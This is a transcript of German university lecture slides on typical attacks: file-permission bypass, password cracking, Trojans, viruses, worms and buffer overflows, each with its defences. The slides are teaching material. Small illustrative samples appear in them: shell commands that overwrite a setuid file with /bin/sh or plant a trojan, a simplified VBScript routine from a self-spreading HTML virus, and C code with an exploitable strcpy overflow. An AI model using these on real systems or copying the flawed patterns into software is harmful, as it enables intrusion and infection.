2 Typische Angriffe - fu-berlin.de

41
ITS-2 1 2 Typische Angriffe Dateischutz umgehen Passwort knacken Trojanisches Pferd Viren Würmer Software-Schwachstellen . . . weitere, insbesondere im Netz (Spoofing, Botnetze, ...) nutzen technische oder menschliche Schwachstellen aus

Transcript of 2 Typische Angriffe - fu-berlin.de

Page 1: 2 Typische Angriffe - fu-berlin.de

ITS-2 1

2 Typische Angriffe

Dateischutz umgehen Passwort knacken Trojanisches Pferd Viren Würmer Software-Schwachstellen. . . weitere, insbesondere im Netz

(Spoofing, Botnetze, ...)

nutzen technische oder menschliche Schwachstellen aus

Page 2: 2 Typische Angriffe - fu-berlin.de

ITS-2 2

2.1 Dateischutz umgehen

Techniken: manuell oder programmgesteuert nachschlecht geschützten Dateien suchen

Schaden: Dateizugriffe (Lesen, Schreiben, Ausführen, ...),die vom Eigner eigentlich nicht gewünscht sind

Schutz: - Kenntnisreicher (!) und sorgfältiger Umgang des Eigners mit den zur Verfügung stehenden Schutzmechanismen - Zwangsmaßnahmen des Sicherheitsadministrators (z.B. regelmäßiges Suchen nach Schwachstellen)

Page 3: 2 Typische Angriffe - fu-berlin.de

ITS-2 3

Beispiel (Unix, ältere Version): Shell mit fremder UID ausführen:

Pohl empfiehlt der Öffentlichkeit sein setuid-Programmcool, hat aber aus Versehen das Schreibrecht nicht gelöscht

-rwsrwxrwx 1 pohl inst 512 Feb 10 12:01 cool

Der Angreifer macht

> cp /bin/sh ~pohl/cool

> ~pohl/cool

% und hat hier eine Shell mit Pohls Autorisierung !

(neuere Unix-Versionen: beim Überschreiben von cool wird setuid-Bit stillschweigend gelöscht)

Page 4: 2 Typische Angriffe - fu-berlin.de

ITS-2 4

2.2 Passwort knacken

Techniken: - gezieltes Raten- Wörterbuchangriff- „phishing“ - „social engineering”

Schaden: Zugang zu Rechner (oder anderer Ressource) mit allen Rechten des Passwort-Eignersund allen daraus entstehenden Folgeschäden

Schutz: - Passwörter nur „im Gehirn notieren“- lange und kryptische Passwörter wählen- Passwörter häufig wechseln- Einmal-Passwörter- Wiederholversuche behindern- „phishing awareness“

Page 5: 2 Typische Angriffe - fu-berlin.de

ITS-2 5

2.3 Trojanisches Pferd

Programm verhält sich wie normaler Editor,leitet aber heimlich die eingegebenen Daten auch an den Angreifer weiter.

Java-Bibliotheksklasse befragt bei jeder Benutzung eine geheime Webseite des Angreifers, ob eine Sabotage-Maßnahme durchgeführt werden soll.

Ferngesteuertes Programm !

Technik: Dem Benutzer wird ein Programm untergeschoben,das neben nützlicher Funktionalität auch nicht dokumentierte, schädliche Funktionen enthält und diese unbemerkt ausführt; z.B.

Page 6: 2 Typische Angriffe - fu-berlin.de

ITS-2 6

Schaden: Geheime Schadsoftware wird mit den Rechtendes Benutzers ausgeführt, was ein Vielzahl vonFolgeschäden verursachen kann.

Schutz: - keine Benutzung dubioser Programme aus dem Netz, von fremden Datenträgern etc.- kryptographisch signierter Code- Beschränkung der Zugriffsrechte für fremde Programme- (automatische Flussanalyse fremder Programme)

Trojanische Pferde gehören zu den großen Herausforderungen in der IT-Sicherheit !

Page 7: 2 Typische Angriffe - fu-berlin.de

ITS-2 7

Beispiel: Herrn Pohl ein Trojanisches Pferd unterschieben - unter Umgehung des Dateischutzes

% ll ~pohl-rw-r----- 1 pohl inst 4711 Feb 29 12:34 memodrwxr-x--x 1 pohl inst 512 Feb 10 12:01 bin.....

Leider ist bin nicht lesbar.

% ~pohl/bin/hello Ein Versuch . . .Hello world! . . . erfolgreich.

% cp trojan ~pohl/bin/hello Noch ein Versuch . . . . . . erfolgreiches Installieren

% eines Trojanischen Pferdes(cp ändert nur den Inhalt der Zieldatei, nicht deren Schutzstatus)

Page 8: 2 Typische Angriffe - fu-berlin.de

ITS-2 8

Rootkit

ist Sammlung von Trojanischen Pferden im Bereich Systemprogramme und Bibliotheksroutinen,

vom Angreifer untergeschoben nach Unterwanderungdes Systems, typischerweise unter Ausnutzung vonSoftware-Schwachstellen ( 2.6),

in der Folge vom Angreifer für die komfortableUnterstützung weiterer Angriffe benutzt.

Page 9: 2 Typische Angriffe - fu-berlin.de

ITS-2 9

Achtung! Trojanischer Code kann auch in Daten eingebettet sein.

Beispiel 1: MS-Office-Dokumente: Makrocode

Aktionsfolgen zur Dokumentbearbeitung können in Makro programmiert werden - auslösbar z.B. mit Funktionstaste,

oder beim Öffnen eines Dokuments.

Makrosprache hat Mächtigkeit einer Programmiersprache (bei Word: VBA – Visual Basic for Applications,

oder VBS - Visual Basic Script, nicht nur für Word) !

Schutz: wie bei Trojanischen Pferden,ferner gestuftes Abblocken von Makros einstellbar,ggfls. mit Warnung des Benutzers

Page 10: 2 Typische Angriffe - fu-berlin.de

ITS-2 10

Sicherheitsstufen in MS Office

Page 11: 2 Typische Angriffe - fu-berlin.de

ITS-2 11

Beispiel 2: mobiler Code in Web-Seiten

kann unbemerkt ausgeführt werden, wenn die Seite geladen wird.

z.B. interpretierter Code: Javascript, Java Applets, VBScript, ...

oder Binärcode wie ActiveX Controls, ...

Schutz: wie bei Makro-Code, zzgl. differenzierte Rechte-Einschränkung

Page 12: 2 Typische Angriffe - fu-berlin.de

ITS-2 12

Sicherheitsstufen bei Apple Safari

Page 13: 2 Typische Angriffe - fu-berlin.de

ITS-2 13

Sicherheitsstufen bei Firefox

Page 14: 2 Typische Angriffe - fu-berlin.de

ITS-2 14

Sicherheitsstufen beim Explorer

Page 15: 2 Typische Angriffe - fu-berlin.de

ITS-2 15

2.4 Viren

Ein Virus (vom medizinischen „das Virus“ ) ist Code,

der vom Angreifer in ursprünglich korrekte Programme eingebaut wird,

bei jedem Start* eines so infizierten Wirtsprogramms

unbemerkt mitausgeführt wird,

Infiziertes Programm ist spezielles Trojanisches Pferd mit der Eigenschaft, auch andere Programme zu solchen Trojanischen Pferden zu machen.

* d.h. Benutzeraktivität ist Voraussetzung!

dabei weitere Programme in der gleichen Weise infiziert

und – mehr oder weniger – Unheil anrichtet.

Page 16: 2 Typische Angriffe - fu-berlin.de

ITS-2 16

Technik: Aufbau eines Virus:

Erkennungsteil: erkennt bereits infizierte ProgrammeInfektionsteil: infiziert noch nicht infizierte ProgrammeSchadensteil: enthält die SchadensfunktionBedingungsteil: enthält Bedingungen für die genannten AktivitätenTarnungsteil: erschwert die Erkennung

Schaden: Geheime Schadsoftware wird mit den Rechtendes Benutzers ausgeführt, was ein Vielzahl vonFolgeschäden verursachen kann (wie Troj. Pferd)

- inklusive Weiterverbreitung.

Schutz: - wie bei Trojanischen Pferden- ferner Integritätssicherung von Dateien- ferner Einsatz von Virenschutz-Software,

die weiß, wie bekannte (!) Viren aussehen und daher entsprechend warnen kann.

Page 17: 2 Typische Angriffe - fu-berlin.de

ITS-2 17

Typische Programmstruktur im Binärcode (vereinfacht)

JUMP START 0 1

START

4710

gesund

Page 18: 2 Typische Angriffe - fu-berlin.de

ITS-2 18

Typische Programmstruktur im Binärcode (vereinfacht)

JUMP START 0 1

START

4710

JUMP 4711

JUMP START

0 1

START

4710

4711

Virus

gesund infiziert

Page 19: 2 Typische Angriffe - fu-berlin.de

ITS-2 19

Arten von Viren:

– Datei-Viren: infizieren ausführbare Dateien

– Boot-Viren: infizieren den Boot-Sektor von Boot-Medien(bei gut gesicherten Betriebssystemen heute kein Problem mehr)

– ... auch in Kombination (multipartite virus)

- ... weitere Varianten ...

- Makro-Viren:nicht Binärprogramme werden infiziert, sondern Skript-Code in Dokumenten. Beispiele:

Page 20: 2 Typische Angriffe - fu-berlin.de

ITS-2 20

Beispiel 1: Makros in Word (prominent: Melissa, 1999):

Virus wird beim Öffnen eines infizierten Dokuments unbemerkt aktiviert und infiziert andere Dokumente.

Verbreitung auf Windows-Systemen im Netz vor allem durch „attraktive“ E-mail (unter Benutzung desOutlook-Adressbuchs!).

Page 21: 2 Typische Angriffe - fu-berlin.de

ITS-2 21

Beispiel 2: VBS-Virus in Web-Dokumenten (prominent: HTML Internal):

Lokale infizierte Webseite infiziert alle .html- und .htm-Dateienim lokalen Verzeichnis und in allen darüberliegenden Verzeichnissen.

Beim Laden einer infizierten Webseite wird das VBS-Skriptgestartet:

<body OnLoad=“CheckIt();“>

lokale Webseite? <script language=“VBScript“><! --Sub CheckIt If location.protocol = “file:“ then Call IsFileEnd Sub

Page 22: 2 Typische Angriffe - fu-berlin.de

ITS-2 22

eigentliche Virus-Aktivität:

erzeuge Dateisystemobjekt zum Zugriff aufs Dateisystem:

Sub IsFile

Set fso = CreateObject(“Script.FileSystemObject“)

erzeuge Windows-Verzeichnispfad:HostPath = Replace(location.href, "file:///", ““)HostPath = Replace(HostPath, “/“, “\“)

ermittle Vaterverzeichnis des aktuellen Verzeichnisses:cpath = fso.GetParentFolderName(HostPath)folder = fso.GetFolder(cpath)

Page 23: 2 Typische Angriffe - fu-berlin.de

ITS-2 23

infiziere:

While folder.IsRootFolder = false Set fc = folder.Files cpath = fso.GetParentFolderName(cpath)

folder = fso.GetFolder(cpath) For each f1 in fc

s = fso.GetExtensionName(f1.name) If f1.path <> HostPath then If s = “htm“ or s = “html“ then

fso.CopyFile(HostPath,f1.path) End If

Wend End Sub vereinfacht: ganze Datei ersetzen--></script>

Page 24: 2 Typische Angriffe - fu-berlin.de

ITS-2 24

Wie gefährlich ist HTML Internal?

Die Originalversion benutzt auch ActiveX -und funktioniert somit nur unter dem Explorer.

Der Explorer erlaubt das Ändern lokaler Dateien nur bei Einstellung einer niedrigen Sicherheitsstufe.

(HTML Internal war ursprünglich ohnehin nur einDemonstrationsobjekt.)

Page 25: 2 Typische Angriffe - fu-berlin.de

ITS-2 25

Maßnahmen von Viren, um unentdeckt zu bleiben:

– Stealth-Viren• befallen lieber große Dateien als kleine, da

Größenänderung weniger auffällig• klinken sich in den Überwachungsprozess von Viren ein,

z.B. Anti-Viren-Software: Verwischen von Spuren oderVorspiegeln falscher Informationen.

– Polymorphe Viren• Selbstveränderung des Viren-Codes

– Retro-Viren• bekämpfen aktiv Anti-Viren-Programme

Page 26: 2 Typische Angriffe - fu-berlin.de

ITS-2 26

Nährboden für Viren:

starke Aktivität am Rechner (Programmausführung)

Systeme ohne oder mit schwachen Schutzmechanismen

(z.B. MS-DOS, frühe Windows-Versionen)

Nachlässiger Umgang mit vorhandenen Schutzmechanismen

(Sicherheitsstufen, Warnmeldungen)

System-Monokultur (z.B. Windows für PCs)

Einschleppen durch Programme/Daten dubioser Herkunft(zur Erinnerung: infizierte Programme bzw.Dokumente sind Trojanischen Pferde!)

Page 27: 2 Typische Angriffe - fu-berlin.de

ITS-2 27

2.5 Würmer

Wurm = Programm, das sich über das Netz fortpflanzt,

entweder selbsttätig (prominent: Internet Worm, Morris 1988)

oder als Anhängsel von E-mails (prominent: Love Letter, 2000).

! Benötigt kein Wirtsprogramm !(d.h. Wurm ≠ Trojanisches Pferd)

Beachte: Virus infiziert lokale Programme oder Dokumente

Wurm infiziert entfernte Rechner (Netzsicherheit!)

Page 28: 2 Typische Angriffe - fu-berlin.de

ITS-2 28

Techniken:

Nutzung von Diensten zur Fernausführung von Programmen,(z.B. Unix rsh – ist i.a. aber gut geschützt, s.u.)

Sicherheitslücken in Internet Daemons(z.B. offengelassene Debug Option in sendmail führt zurAnnahme und Ausführung von Shell-Befehlen)

Ausnutzung von Implementierungsschwächenvon Systemsoftware ( 2.6)

Skripte als Anlagen zu E-mails (z.B. in VBS geschrieben),Öffnung führt zu weiterer Verbreitung (z.B. mittels Adressdatei)

Page 29: 2 Typische Angriffe - fu-berlin.de

ITS-2 29

Schaden: Wurm wird mit den Rechten eines Systemprozessesausgeführt und kann daher weitreichende Schädenanrichten. Gut geeignet für verteiltes Einschränkenvon Verfügbarkeit (distributed denial of service, DDoS)

Schutz: - restriktive Autorisierung der bedrohten Prozesse- restriktive Öffnung von Ports- Einsatz von Firewalls- patches einspielen

Page 30: 2 Typische Angriffe - fu-berlin.de

ITS-2 30

• MyDoom, Januar 2004– Verteiltes DoS auf Microsoft und SCO– bisher schnellste Ausbreitung– verbreitet über E-mail und peer-to-peer

• Sobig Worm, August 2003– Verbreitung über E-Mail-Anlagen– Benutzt eigene SMTP-Engine zur Replikation

• SQL Slammer, Januar 2003– Microsoft SQL 2000– Puffer-Überlauf (Keller und Halde, 2.6)

• Code Red, Juli 2001– Index-Dienst des Microsoft Internet Information Server

(IIS)– Puffer-Überlauf in Idq.dll

• http://en.wikipedia.org/wiki/Notable_computer_viruses_and_worms

Auswahl:

Page 31: 2 Typische Angriffe - fu-berlin.de

ITS-2 31

2.6 Software-Schwachstellen

Das klassische Beispiel: Puffer-Überlauf (buffer overflow)

Def.: Programmiersprache heißt unsicher (unsafe), wenn Programmfehler die Speicherverwaltung stören können.

(chaotisches Programmverhalten, Absturz mit„Bus Error“, „Segmentation Fault“ u.ä. )

Beispiele: ungültige Verweise in Pascal/Modula,zusätzlich Feldgrenzenüberschreitung in C/C++

Page 32: 2 Typische Angriffe - fu-berlin.de

ITS-2 32

Beispiel aus der Unix-C-Bibliothek:

SYNOPSIS

#include <stdio.h>

char *gets(char *s);

char *fgets(char *s, int n, FILE *stream);

DESCRIPTIONThe gets() function reads characters from the standard input stream (see intro(3)),stdin, into the array pointed to by s, until a newline character is read or an end-of-filecondition is encountered. The newline character is discarded and the string isterminated with a null character.

The fgets() function reads characters from the stream into the array pointed to by s,until n-1 characters are read, or a newline character is read and transferred to s, oran end-of-file condition is encountered. The string is then terminated with a nullcharacter.

When using gets(), if the length of an input line exceeds the size of s, indeterminate behavior may result. For this reason, it is strongly recommended that gets() be avoided in favor of fgets().

Page 33: 2 Typische Angriffe - fu-berlin.de

ITS-2 33

Standard C Library Functions string(3C)

NAME string, strcasecmp, strncasecmp, strcat, strncat, strlcat, strchr, strrchr, strcmp, strncmp, strcpy, strncpy, strlcpy, strcspn, strspn, strdup, strlen, strpbrk, strstr, strtok, strtok_r - string operations

DESCRIPTION The arguments s, s1, and s2 point to strings (arrays of characters

terminated by a null character). The strcat(), strncat(), strlcat(),strcpy(), strncpy(), strlcpy(), strtok(), and strtok_r() functions allalter their first argument. These functions do not check for overflow ofthe array pointed to by the first argument.

! Noch mehr gefährliche Funktionen:

Page 34: 2 Typische Angriffe - fu-berlin.de

ITS-2 34

Standard C Library Functions printf(3C)

NAME printf, fprintf, sprintf, snprintf - print formatted output

DESCRIPTIONThe sprintf() function places output, followed by the null byte(\0), in consecutive bytes starting at s; it is the user'sresponsibility to ensure that enough storage is available.

Page 35: 2 Typische Angriffe - fu-berlin.de

ITS-2 35

Anwendung von gets z.B. so:

char line[100];. . .gets(line);

und der Programmierer vergisst, längere Zeilen (länger als 100)als fehlerhaft abzufangen !

bei längeren Zeilen wird der Keller beschädigt -

oder von einem Angreifer gezielt modifiziert !

typischer Angriff:

Page 36: 2 Typische Angriffe - fu-berlin.de

ITS-2 36

Typischer Angriff:

Dienst benutzen, dessen Programm den obigen Code enthält.

Keller durch planmäßig konstruierte Eingabe so manipulieren,dass Rücksprungadresse umgesetzt wird,

(So praktiziert beim Internet Worm -unter Benutzung des fingerd daemon!)

und zwar auf diejenige Adresse im Keller, auf der mit einge-schleuster Code steht (der weiteren Code nachzieht!);

Effekt: Ursprünglicher Dienst ist mit Code des Angreifersinfiziert, d.h. der Schadcode läuft mit der Autorisierungdes Angegriffenen.

Page 37: 2 Typische Angriffe - fu-berlin.de

ITS-2 37

void function (char *args ){char buff2[4] = “ABC“;char buff1[4];strcpy(buff1,args);

}

int main( int argc, char *argv[]) {if (argc >1) function(argv[1]);else printf(“Kein Argument!“);

}

Parameter mainargc, argv

Rücksprungadr.aus main

Parameter functargs

Rücksprungadr.aus function

lokale Variable buff1

lokale Variable buff2

höhe

re A

dres

sen

(Keller wächst im Speicher von oben nach unten)

Einfaches Beispiel 1ohne Einschleusung von Code

Page 38: 2 Typische Angriffe - fu-berlin.de

ITS-2 38

Beispiel: einen Netzdienst abschießen(denial of service)

int main(int argc, char *argv[]){ char line[64]; ... ... // initialize server ... for ( ; ; ) { connfd = accept( listenfd, (SA *) NULL, NULL); write( connfd, "Eingabe: ", 9); n = read( connfd, line, sizeof (line) -1 ); line[n] = 0; serve( line ); close( connfd ); }}

Page 39: 2 Typische Angriffe - fu-berlin.de

ITS-2 39

void serve(char *str){

char buff[24]; strcpy(buff, str); printf("buff: %s\n", buff);

}

Eingaben, die länger als 23 Bytes sind, zerstören während der Ausführungvon strcpy die Rücksprungadresse- und bringen den Server zum Absturz

Page 40: 2 Typische Angriffe - fu-berlin.de

ITS-2 40

Schaden: Schadcode wird mit den Rechten des angegriffenenProzesses ausgeführt und kann daher - je nach dessenAutorisierung - mäßige bis große Schäden verursachen.

Schutz: - Sichere Programmiersprachen!!- Keller-Segment ohne "execute"-Rechte (Solaris; OpenBSD 3.2; Linux: OpenWall, PaX) (verhindert allerdings nicht den Überlauf als solchen)- Andere Keller-Organisation, Hüllen für die unsicheren Funktionen, alle möglichen Tricks …

- restriktive Autorisierung der bedrohten Prozesse- restriktive Öffnung von Ports- (im Netz:) Einsatz von Firewalls- patches einspielen

(vgl. Würmer)

Page 41: 2 Typische Angriffe - fu-berlin.de

ITS-2 41

Ferner:

! Halde muss auch geschützt werden !

Weitere Arten von Schwachstellen …

… siehe Kapitel Security Engineering